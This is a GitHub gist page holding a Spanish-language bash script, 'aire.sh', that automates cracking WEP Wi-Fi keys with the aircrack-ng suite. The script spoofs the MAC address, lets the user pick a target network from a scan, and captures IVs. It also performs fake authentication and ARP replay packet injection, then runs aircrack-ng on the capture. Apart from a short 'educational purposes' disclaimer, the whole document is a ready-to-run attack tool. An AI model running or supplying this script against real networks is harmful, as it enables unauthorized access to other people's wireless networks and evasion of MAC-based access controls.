-
-
Save hmert/734001 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# aire.sh | |
# Este script utiliza las siguientes herramientas: | |
# macchanger, aircrack-ng [sudo apt-get install macchanger aircrack-ng] | |
# Su finalidad es semi-automatizar el crackeo de WEP keys (únicamente WEP, no WPA) | |
# con una poca interveción del usuario | |
# | |
#####################################################################################. | |
# Disclaimer: # | |
# Este script está echo con fines educativos. Por favor, se conciente si # | |
# lo utilizas ;) # | |
# Robar Wi-Fi es ilegal. # | |
#####################################################################################. | |
function usage { | |
echo $'\n\tUso:' $0 '<interface> [MAC-address|--dont-fake]' | |
echo $'\tEj.\n\t\t ' $0 $'wlan0 --dont-fake\n' | |
} | |
function select_interface { | |
echo Buscando alternativas... | |
INTERFACES=`iwconfig 2>&1 | grep 802.11 | wc -l` | |
if [ $INTERFACES -gt 1 ]; then | |
echo $'Especifike un número de la lista:\n' | |
iwconfig 2>&1 | grep 802.11 | awk '{print "\t"NR ") " $1}' | |
echo | |
read IFACEID | |
INTERFAZ=`iwconfig 2>&1 | grep 802.11 | awk '{print $1}' | head -n $IFACEID | tail -n 1` | |
if [ -z $INTERFAZ ]; then | |
echo No ha seleccionado un número de la lista. Abortando... | |
exit | |
fi | |
else | |
INTERFAZ=`iwconfig 2>&1 | grep 802.11 | awk '{print $1}'` | |
fi | |
} | |
# Verificando interfaz de red | |
if [ -z "$1" ]; then | |
echo No se proporcionó interfaz de red. | |
select_interface | |
else | |
PROBE=`iwconfig 2>&1 | grep 802.11 | grep ^$1` | |
if [ -z "$PROBE" ]; then | |
echo La interfaz proporcionada no es válida. | |
select_interface | |
else | |
INTERFAZ=$1 | |
fi | |
fi | |
echo Trabajando con la interfaz $INTERFAZ... | |
# Comprobando permisos | |
if [ "$(id -u)" -eq 0 ]; then | |
# Verificando interfaz en modo Monitor | |
PROBE=`iwconfig > .wlan;cat .wlan | grep Monitor` | |
rm .wlan | |
if [ -z "$PROBE" ]; then | |
echo 'Levantando interfaz modo Monitor...' | |
IFACE=`airmon-ng start $INTERFAZ | tail -n2 | awk '{a=$5; print substr(a,0,length(a)-1)}'` | |
else | |
IFACE=`echo $PROBE | cut -d " " -f1` | |
fi | |
echo $IFACE '... interfaz configurada.' | |
# Configurando MAC address | |
if [ "$2" == "--dont-fake" ]; then | |
echo 'Conservando la MAC address actual...' | |
NEWMAC=`ifconfig $INTERFAZ | grep HW | awk '{print $5}'` | |
else | |
ifconfig $INTERFAZ down; ifconfig $IFACE down | |
if [ -z "$2" ]; then | |
echo 'Reestableciendo direcciones físicas...' | |
FALSA=`macchanger -A $INTERFAZ` | |
NEWMAC=`macchanger -a $INTERFAZ | grep Faked | awk '{print $3}'` | |
macchanger -m $NEWMAC $IFACE | grep Faked | |
else | |
echo "Se usará $2 como dirección MAC" | |
RES=`macchanger -m $2 $INTERFAZ | grep Faked` | |
if [ -z "$RES" ]; then | |
echo 'No especificó una MAC address válida. Abortando.' | |
ifconfig $INTERFAZ up; ifconfig $IFACE up | |
exit | |
fi | |
macchanger -m $2 $IFACE | grep Faked | |
NEWMAC=$2 | |
fi | |
echo "Esperando 2 segundos..." && sleep 2 && echo done. | |
echo "Levantando interfaces de red...`ifconfig $INTERFAZ up;ifconfig $IFACE up`" | |
fi | |
echo "Escaneando las redes Wi-Fi..." | |
`sudo iwlist $INTERFAZ scann > .nets` | |
cat .nets | grep -E [C][e][l][l]\|[Q][u][a][l][i][t][y]\|[E][S][S][I][D]\|[C][h][a][n][n][e][l][:] > .info | |
cat .info | |
echo -n $'\nNumero de Célula [XX]: ' | |
read CELL | |
echo 'Preparando el atake...' | |
# Se calcula ke informacion corresponde a la celula | |
let HEAD=CELL*4 | |
cat .info | head -n$HEAD | tail -n4 > .nets | |
# Se extraen los datos del target | |
BSSID=`cat .nets | grep Address | awk '{print $5}'` | |
CHANNEL=`cat .nets | grep Channel | awk '{print substr($1,9,length($1))}'` | |
ESSID=`cat .nets | grep ESSID | awk '{a=substr($1,8,length($1));b=substr(a,0,length(a)-1);print b}'` | |
echo 'Comenzando el almacenamiento de IVs [tmp-0x.cap]...' | |
# sub-shell para la captura de datos | |
(xterm -e airodump-ng --channel $CHANNEL --bssid $BSSID --write tmp $IFACE &) | |
(while true; do | |
echo $'Lanzando la falsa autenticacion...\n(presione ctrl+c sobre la ventana para cerrarla)' | |
(xterm -e aireplay-ng --fakeauth=6000 -o 1 -q 10 -e $ESSID -a $BSSID -h $NEWMAC $IFACE) | |
echo -n "Ha funcionado la falsa autenticacion? (Y/n) " | |
read RES | |
if [ $RES = 'Y' ]; then | |
exit | |
fi | |
echo -n "Se necesita de una MAC autorizada [aa:bb:cc:dd:ee:ff]: " | |
read NEWMAC | |
if [ -z "$NEWMAC" ]; then | |
continue | |
fi | |
echo 'Reiniciando la interfaz con nueva MAC...' | |
ifconfig $IFACE down | |
RES=`macchanger -m $NEWMAC $IFACE | grep Faked` | |
if [ -z "$RES" ]; then | |
echo 'No especificó una MAC address válida. Configurando con cualkier otra.' | |
NEWMAC=`macchanger -a $IFACE | grep Faked | awk '{print $3}'` | |
fi | |
echo "Esperando dos segundos..." && sleep 2 && ifconfig $IFACE up | |
echo 'Reiniciando airodump-ng...' | |
rm tmp-0* | |
ps aux | grep airodump | grep -v color | kill -9 `awk '{print $2}'` | |
(xterm -e airodump-ng --channel $CHANNEL --bssid $BSSID --write tmp $IFACE &) | |
done) | |
echo 'Comenzando a inyectar paketes...' | |
(xterm -e aireplay-ng --arpreplay -e $ESSID -b $BSSID -h $NEWMAC $IFACE &) | |
echo 'Presione enter cuando hayan suficientes IVs' | |
read ENTER | |
echo 'Lanzando el atake del Kraken }=:^{}<<' | |
CRACKFILE=`ls | grep tmp-0*.cap | tail -n1` | |
aircrack-ng $CRACKFILE | |
echo 'Borrar archivos temporales? (y/n)' | |
read RES | |
if [ $RES = 'y' ]; then | |
rm tmp-0* replay_arp*.cap .info .nets | |
fi | |
echo 'Matando procesos =) ...' | |
ps aux | grep airodump | grep -v color | kill -9 `awk '{print $2}'` > /dev/null 2>&1 | |
ps aux | grep aireplay | grep -v color | kill -9 `awk '{print $2}'` > /dev/null 2>&1 | |
echo done. xD | |
else | |
echo Aborting. Are u r00t? | |
fi | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment